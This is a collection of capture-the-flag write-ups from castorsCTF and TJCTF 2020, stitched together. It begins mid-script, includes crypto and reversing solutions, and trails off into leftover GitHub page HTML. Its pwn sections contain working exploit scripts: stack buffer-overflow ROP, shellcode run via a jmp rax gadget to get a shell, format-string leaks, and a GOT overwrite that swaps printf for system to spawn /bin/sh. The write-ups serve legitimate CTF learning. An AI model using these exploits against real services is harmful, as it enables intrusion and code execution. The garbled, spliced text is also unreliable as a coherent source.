sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Naughty Writeup
Naughty was the final pwn in TJCTF 2020. It was an interesting and nice format string pwn problem. Let us begin by reversing it:```cint __cdecl main(int argc, const char **argv, const char **envp){ char s; // [esp+0h] [ebp-10Ch] unsigned int v5; // [esp+100h] [ebp-Ch] int *v6; // [esp+104h] [ebp-8h]
v6 = &arg;; v5 = __readgsdword(0x14u); puts( " _ _ __ _ _ _ _ _ _ _ _ ___ "); puts( " | \\| | __ _ _ _ / _` | | |_ | |_ | || | o O O ___ _ _ o O O | \\| | (_) __ " " ___ |__ \\ "); puts( " | .` | / _` | | +| | \\__, | | ' \\ | _| \\_, | o / _ \\ | '_| o | .` | | | / _|" " / -_) /_/ "); puts( " |_|\\_| \\__,_| \\_,_| |___/ |_||_| _\\__| _|__/ TS__[O] \\___/ _|_|_ TS__[O] |_|\\_| _|_|_ \\" "__|_ \\___| _(_)_ "); puts( "_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_| \"\"\"\"| {======|_|\"\"\"\"\"|_|\"" "\"\"\"\"| {======|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"| "); puts( "\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'./o--000'\"`-0-0-'\"`-0-0-'./o--000'\"`-0-0-'\"`-0-0-" "'\"`-0-0-'\"`-0-0-'\"`-0-0-' "); puts("What is your name?"); fflush(stdout); fgets(&s, 256, stdin); printf("You are on the NAUGHTY LIST "); printf(&s); return 0;}```
As you can see, there is a clear format string bug in the last printf call. Taking a look at checksec:``` Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)```We can just do GOT overwrite to overwrite printf and gain code execution. However, the only issue is that nothing is called after printf; the program just finishes then. However, I did note the canary part of this, which can trigger another function known as `__stack_chk_fail` when the canary check fails. I also knew about the .fini section, which has its contents triggered during normal process termination. This part as well as .init are handled by the runtime linker.
To overwrite the canary, we will first need a stack leak, which is not possible at this stage (without causing the program to just terminate). Since their binary does not have PIE enabled, I decided to target the .fini section. At this point, I also found another similar writeup: https://wumb0.in/mmactf-2016-greeting.html related to overwriting contents of `.fini_array`. Just like that problem, I overwrote `__do_global_dtors_aux_fini_array_entry` in that section with `main`. This way, the program will then go back to main during the "termination" phase. The offset for the overwrites can be determined with the standard format string technique of sending in `ABCD %p %p %p...` and seeing where that first value reappears. The offsets for leaking libc and stack can be determined with the following basic script, from which I just dumped the output and took a quick look at possible libc and stack address values:```pyfrom pwn import *
for i in range(500): p = process('./naughty') p.recvuntil('name?\n') p.sendline("%" + str(i) + "$p") print "index: " + str(i) print p.recvall()```
Now, when we go back to main, we cannot just overwrite printf GOT with system and then expect main to return. Since .init and .fini are handled by the runtime linker, and all we did was make it call main upon termination, the correct setup to trigger the .fini section again is not done and the program will just end after the second call to main finishes; we need to find another way to redirect back to main. I decided to target the canary now. With the stack leak, I can determine the offset to the canary. I overwrite that with a random value to trigger the canary failure function, which I also overwrote with main in the same format string. I also overwrote printf with system (whose address is determined from the libc leak) in the same payload at this point. Afterwards, it should loop back to main again. Now printf is system, so simply typing /bin/sh should pop shells.
A note about libc. The address I leaked is `_IO_2_1_stdin_`. Since my system libc is different from the docker libc, I needed to figure out the remote libc with libc database. But I also noticed that in the previous dockers on this CTF, most if not all the libcs were the same, so I just made an assumption about the libc which turned out to be correct. Note that the stack setup ended up turning out different from my local and remote version, so I just patchelf'd the file with the correct libc and linker and re-debugged there. Here is my final exploit:```pyfrom pwn import *
context(arch='i386')bin = ELF('./naughty')libc = ELF('libc-2.27.so')p = remote('p1.tjctf.org', 8004)
p.recvuntil('name?\n')write1 = {0x08049bac:bin.symbols['main']}payload = fmtstr_payload(7, write1) + "pepega %2$p poggers %81$p" #pepega is my marker for libc, poggers is my marker for stackprint payloadp.sendline(payload)p.recvuntil('pepega ')leak = int(p.recv(10), 16)libc.address = leak - libc.symbols['_IO_2_1_stdin_']log.info("Leak: " + hex(leak))log.info("Base: " + hex(libc.address))
p.recvuntil('poggers ')canary = int(p.recv(10), 16) - 408 #offset from this stack leak to canarylog.info("Canary address: " + hex(canary))
write2 = {canary:0xdeadbeef, bin.got['__stack_chk_fail']:bin.symbols['main'], bin.got['printf']:libc.symbols['system']}payload = fmtstr_payload(7, write2)p.recvuntil('name?\n')p.sendline(payload)p.recvuntil('name?\n')p.sendline("/bin/sh")p.interactive()
```Fun challenge overall! |
VPN can be sell multiple times.Think like real world ecommerce.```#!/usr/bin/pythonfrom pwn import *p = connect("chals20.cybercastors.com",14432)print p.recv()p.sendline("6")print p.recv() for j in range(1,301): p.sendline("0") sleep(2) #used sleep coz server hanging or used trick p.sendline("1") a = p.recv() if "Your money: 5000" in a: p.sendline(str(5)) print p.recv() else: print a ``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-WriteUp/Castorsctf/pwn/babayp1pt2 at master · gr4n173/CTF-WriteUp · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B68D:F966:150FBEA:159AA76:64122018" data-pjax-transient="true"/><meta name="html-safe-nonce" content="2bd984980d0f20b5091421312c4a811e0f06e30c2d48e60311685ff00e05f4b4" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNjhEOkY5NjY6MTUwRkJFQToxNTlBQTc2OjY0MTIyMDE4IiwidmlzaXRvcl9pZCI6IjcyODA5NzI4Mjk4MDk1ODIxMDQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="9bb900565a69fd863ec56880d0c4ceaae748f60107dcc521814ebb5742ab3e30" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268424549" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/c7af2b24c123c84d92130972279065e7d693330338fb1a560dd584248791d2cd/gr4n173/CTF-WriteUp" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-WriteUp/Castorsctf/pwn/babayp1pt2 at master · gr4n173/CTF-WriteUp" /><meta name="twitter:description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/c7af2b24c123c84d92130972279065e7d693330338fb1a560dd584248791d2cd/gr4n173/CTF-WriteUp" /><meta property="og:image:alt" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-WriteUp/Castorsctf/pwn/babayp1pt2 at master · gr4n173/CTF-WriteUp" /><meta property="og:url" content="https://github.com/gr4n173/CTF-WriteUp" /><meta property="og:description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/gr4n173/CTF-WriteUp git https://github.com/gr4n173/CTF-WriteUp.git">
<meta name="octolytics-dimension-user_id" content="34855478" /><meta name="octolytics-dimension-user_login" content="gr4n173" /><meta name="octolytics-dimension-repository_id" content="268424549" /><meta name="octolytics-dimension-repository_nwo" content="gr4n173/CTF-WriteUp" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268424549" /><meta name="octolytics-dimension-repository_network_root_nwo" content="gr4n173/CTF-WriteUp" />
<link rel="canonical" href="https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/babayp1pt2" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
